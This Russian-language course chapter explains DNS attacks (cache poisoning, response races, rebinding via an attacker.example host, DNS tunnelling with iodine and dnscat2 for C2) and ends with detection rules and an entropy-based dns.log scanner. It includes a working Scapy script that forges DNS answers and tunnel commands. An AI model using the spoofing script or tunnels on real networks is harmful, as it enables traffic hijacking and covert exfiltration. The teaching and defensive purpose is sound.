Отравленный кеш: DNS, туннели и C2
DNS — единственная система в сети, которой доверяют все: браузер, почтовый клиент, обновления, системы управления. Если ответ на вопрос «какой адрес у этого имени» подменён, дальше всё работает штатно — соединение устанавливается, сертификат проверяется, трафик идёт. Именно поэтому DNS одновременно является целью атаки и удобным транспортом для того, чтобы вынести данные наружу.
В основной программе DNS разбирался как распределённая база данных с иерархией и кешем. Здесь рассматриваются три свойства, которые делают его уязвимым: ответ принимается по совпадению идентификатора и порта, кеш хранит ответ дольше, чем длится атака, а запросы почти никогда не фильтруются по содержимому.
Тема 15 основной программы дала формат сообщения и типы записей; тема 17 — TLS и сертификаты. Здесь DNS берётся со стороны доверия: что нужно, чтобы ответ приняли, как из запросов сделать канал и как этот канал выглядит для защитника. Границы: туннели как транспорт — тема 06.
Тень базового курса: кеш, который верит ответу
В теме 15 кеширование выглядело как оптимизация: резолвер запомнил ответ на время TTL и не ходит к авторитетному серверу повторно. Побочный эффект — окно атаки: один подложенный ответ живёт в кеше столько же, сколько настоящий.
Резолвер принимает ответ, если совпали идентификатор транзакции, адрес источника, порт назначения и имя в вопросе. В раннем DNS идентификатор был 16-битным, порт — фиксированным или предсказуемым, и вероятность угадать оба была достаточной для перебора 12.
Систематический разбор угроз DNS дан в RFC 3833 4. Современный резолвер рандомизирует и идентификатор, и исходный порт, и регистр символов в имени (0x20-кодирование). Это поднимает энтропию, но не устраняет проблему: если атакующий на пути, ему не нужно угадывать — он видит запрос.
Сообщение DNS и доверие к ответу
Формат, идентификатор, флаги
Сообщение состоит из заголовка и четырёх секций 8: question, answer, authority, additional. Заголовок содержит 16-битный ID, флаги (QR, Opcode, AA, TC, RD, RA, RCODE) и счётчики записей.
dig +qr example.com A
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 39481
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
id: 39481 — то самое поле, которое должно совпасть. rd означает «требуется рекурсия», ra — «рекурсия доступна», qr — это ответ. Резолвер, получив ответ, проверяет ID, адрес и порт; больше ничего в протоколе не удостоверяет отправителя.
Рекурсия, bailiwick и TTL
Рекурсивный резолвер идёт от корня вниз: корневой сервер делегирует зону .com, тот — example.com, авторитетный сервер отвечает записью. Каждый ответ содержит TTL, и резолвер кеширует его на это время.
Правило bailiwick ограничивает, какие записи из additional-секции можно кешировать: только те, что относятся к делегированной зоне. Это защита от подкладывания чужих записей, но она не спасает от подмены самого ответа.
Отравление кеша
Атака Каминского и энтропия
Атака 2008 года эксплуатировала предсказуемость: резолвер отправляет запрос авторитетному серверу, атакующий засыпает его поддельными ответами на тот же вопрос с разными ID и портами, надеясь, что один совпадёт раньше настоящего 3. Успех означает, что в кеше окажется поддельный адрес, и все клиенты резолвера пойдут туда.
Энтропия складывается из ID (16 бит), исходного порта (обычно 16 бит) и 0x20-регистра (до 16 бит на имя). Чем больше энтропия, тем больше попыток нужно. Практическая оценка: при 32 битах энтропии и миллионе запросов в секунду вероятность успеха за время TTL всё ещё ненулевая, поэтому рандомизация — снижение риска, а не устранение.
sysctl net.ipv4.ip_local_port_range
dig +short porttest.dns-oarc.net TXT
Вторая команда проверяет, насколько широко резолвер выбирает порты; результат ниже ожидаемого означает, что энтропия меньше, чем кажется.
Birthday-атака и гонка ответов
Birthday-атака использует парадокс дней рождения: если отправить много запросов на разные имена и много ответов, вероятность совпадения хотя бы одной пары растёт быстрее, чем кажется. На практике это означает, что атакующему не нужно угадывать конкретный ID — достаточно создать достаточно пар.
Гонка ответов — более прямая версия: атакующий на пути видит запрос и отвечает раньше авторитетного сервера. Ему не нужно угадывать ничего, кроме адреса и порта, которые видны в пакете.
from scapy.all import IP, UDP, DNS, DNSRR, sniff, send
def on_packet(pkt):
if DNS in pkt and pkt[DNS].qr == 0:
q = pkt[DNS].qd.qname
resp = (IP(src=pkt[IP].dst, dst=pkt[IP].src) /
UDP(sport=53, dport=pkt[UDP].sport) /
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,
an=DNSRR(rrname=q, ttl=300, rdata="192.0.2.66")))
send(resp, verbose=False)
sniff(filter="udp port 53", prn=on_packet)
Скрипт отвечает от имени сервера, к которому шёл запрос; резолвер примет ответ, если успеет раньше настоящего. Это и есть гонка.
Спуфинг на пути
Если атакующий находится между клиентом и резолвером или между резолвером и авторитетным сервером, он может подменять ответы без всякой гонки. Защита — DNSSEC: подпись ответа проверяется, и подделка обнаруживается 5. Но DNSSEC защищает только целостность, не конфиденциальность, и развёрнут далеко не везде.
DNS rebinding
TTL 0 и same-origin
Rebinding эксплуатирует то, что браузер считает имя доверенным, а резолвер может вернуть новый адрес. Схема: страница загружается с attacker.example, TTL ставится 0, затем имя переразрешается в 192.0.2.20 — внутренний адрес. Для браузера это тот же origin, и политика same-origin не мешает читать ответ.
dig +short rebind.attacker.example
dig +short rebind.attacker.example
Два запроса подряд могут вернуть разные адреса. Защита: запрет DNS-ответов, указывающих на частные адреса, из внешних зон; dns-rebind-protection в резолверах; проверка Host на внутренних сервисах.
Pinning на уровне сети
Сертификат привязывается к имени, а не к адресу, поэтому rebinding не ломает TLS. Ломается он о pinning: если клиент проверяет, что сертификат выпущен для ожидаемого имени и что адрес не менялся, подмена не проходит. На практике pinning в браузерах почти не используется, поэтому rebinding остаётся рабочим приёмом.
Скрытые каналы и C2
iodine, dnscat2 и типы записей
DNS-туннель кодирует данные в имени запроса и в ответе. iodine использует TXT, NULL и приватные типы, dnscat2 — TXT и CNAME. Пропускная способность зависит от размера имени и частоты запросов: типично 3–10 Кбит/с, чего достаточно для команд и небольших файлов.
iodine -f -P password t1.example.com
На серверной стороне — iodined с адресом туннеля. Трафик выглядит как обычные DNS-запросы, но имена длинные, энтропия высокая, а доля уникальных поддоменов близка к единице.
dnscat2-server example.com
dnscat2 example.com
Пропускная способность и её оценка
Каждый запрос несёт имя длиной до 253 байт, ответ — до размера, разрешённого EDNS(0). Реальная скорость ограничена задержкой: при RTT 50 мс и одном запросе в полёте это около 20 запросов в секунду, то есть единицы килобит. Параллельные запросы ускоряют канал, но делают профиль ещё заметнее.
DoH, DoT, fronting, fast flux, DGA
DoH (RFC 8484) и DoT (RFC 7858) шифруют запросы, что мешает фильтрации по имени, но не мешает фильтрации по IP-адресу сервера 67. Domain fronting использует расхождение между SNI и заголовком Host: запрос идёт к крупному CDN, а внутри — к нужному домену. Fast flux меняет адреса в ответе с коротким TTL, DGA генерирует имена алгоритмически, чтобы обойти чёрные списки.
curl -s -H 'content-type: application/dns-json' \
'https://cloudflare-dns.com/dns-query?name=example.com&type=A'
Числа: энтропия, TTL и пропускная способность
Стоимость отравления удобно считать в «ожидаемых попаданиях». Пусть резолвер рандомизирует 16-битный идентификатор и 16-битный исходный порт; суммарная энтропия — 32 бита, то есть 4,29 млрд комбинаций. Атакующий, отправляющий 100 тысяч поддельных ответов в секунду в течение часа, делает 360 млн попыток — ожидаемое число совпадений около 0,084. При миллионе ответов в секунду ожидание за тот же час приближается к 0,84: успех становится вероятным, но не гарантированным.
100 000 пакетов/с * 3600 с = 3,6e8 попыток
3,6e8 / 2^32 = 3,6e8 / 4,29e9 = 0,084
1 000 000 пакетов/с * 3600 с = 3,6e9 попыток
3,6e9 / 4,29e9 = 0,84
Отсюда практический вывод: рандомизация не делает отравление невозможным, она делает его дорогим. Защита усиливается 0x20-кодированием (до 16 дополнительных бит на имя) и DNSSEC, который снимает вопрос угадывания вовсе.
TTL задаёт длительность последствий. Ответ с TTL 3600 секунд живёт в кеше час; всё это время клиенты резолвера получают поддельный адрес, даже если атака давно прекратилась. Поэтому защитники ограничивают максимальный TTL и следят за его аномалиями.
Пропускная способность DNS-туннеля считается по размеру полезной нагрузки в имени. При имени 200 байт, 20 запросах в секунду и одном запросе в полёте канал даёт около 32 Кбит/с теоретически; реальные потери на кодирование и повторные передачи снижают его до 3–10 Кбит/с. Этого хватает для команд и небольших файлов, но не для передачи данных в объёме.
Обнаружение и защита
| Приём | Признак | Контрмера |
|---|---|---|
| Отравление кеша | ответ не от ожидаемого сервера | рандомизация, DNSSEC, 0x20 |
| Гонка ответов | дубли ответов, разные адреса | DNSSEC, мониторинг |
| Rebinding | ответ на частный адрес из внешней зоны | rebind-protection, split DNS |
| DNS-туннель | длинные имена, высокая энтропия | RPZ, лимиты, анализ dns.log |
| DoH в обход | соединения к публичным DoH | egress-allowlist, блокировка |
| Fast flux | короткий TTL, много адресов | репутация, пассивный DNS |
| DGA | случайные имена, NXDOMAIN | детектор по энтропии |
Скрипт, считающий энтропию и длину имён из dns.log:
import math, sys, collections
def entropy(s):
c = collections.Counter(s)
n = len(s)
return -sum(v/n * math.log2(v/n) for v in c.values())
for line in open(sys.argv[1]):
if line.startswith("#"): continue
q = line.split("\t")[9]
if len(q) > 40 or entropy(q.split(".")[0]) > 3.5:
print(q)
Порог подбирается по базовой линии: в зоне с длинными легитимными именами он выше, чем в зоне с короткими.
Итоги темы
DNS доверяет ответу, если совпали идентификатор, порт и вопрос. Энтропия этих полей — единственная преграда для подделки; DNSSEC заменяет её криптографической подписью, но требует развёртывания на всей цепочке.
Кеш превращает одну успешную подделку в длительную: TTL определяет, сколько клиентов получат неверный адрес. Rebinding использует ту же механику, чтобы обойти same-origin, а туннели — чтобы превратить запросы в канал управления.
Защита строится на трёх уровнях: криптографическая проверка (DNSSEC), сетевая фильтрация (RPZ, egress-allowlist) и анализ профиля (энтропия, длина, частота). Ни один из них не работает в одиночку.
Следующая тема расширяет канал до полноценного транспорта: туннели, пивоты и обход периметра.
Литература
- Mockapetris P. Domain Names — Concepts and Facilities. — RFC 1034, IETF, 1987. https://www.rfc-editor.org/rfc/rfc1034
- Mockapetris P. Domain Names — Implementation and Specification. — RFC 1035, IETF, 1987. https://www.rfc-editor.org/rfc/rfc1035
- Hubert A., van Mook A. Measures for Making DNS More Resilient against Forged Answers. — RFC 5452, IETF, 2009. https://www.rfc-editor.org/rfc/rfc5452
- Atkins D., Austein R. Threat Analysis of the Domain Name System (DNS). — RFC 3833, IETF, 2004. https://www.rfc-editor.org/rfc/rfc3833
- Arends R., Austein R., Larson M., Massey D., Rose S. DNS Security Introduction and Requirements. — RFC 4033, IETF, 2005. https://www.rfc-editor.org/rfc/rfc4033
- Hoffman P., McManus P. DNS Queries over HTTPS (DoH). — RFC 8484, IETF, 2018. https://www.rfc-editor.org/rfc/rfc8484
- Hu Z., Zhu L., Heidemann J., Mankin A., Wessels D., Hoffman P. Specification for DNS over Transport Layer Security (TLS). — RFC 7858, IETF, 2016. https://www.rfc-editor.org/rfc/rfc7858
- Liu C., Albitz P. DNS and BIND. 5th ed. — O'Reilly Media, 2006.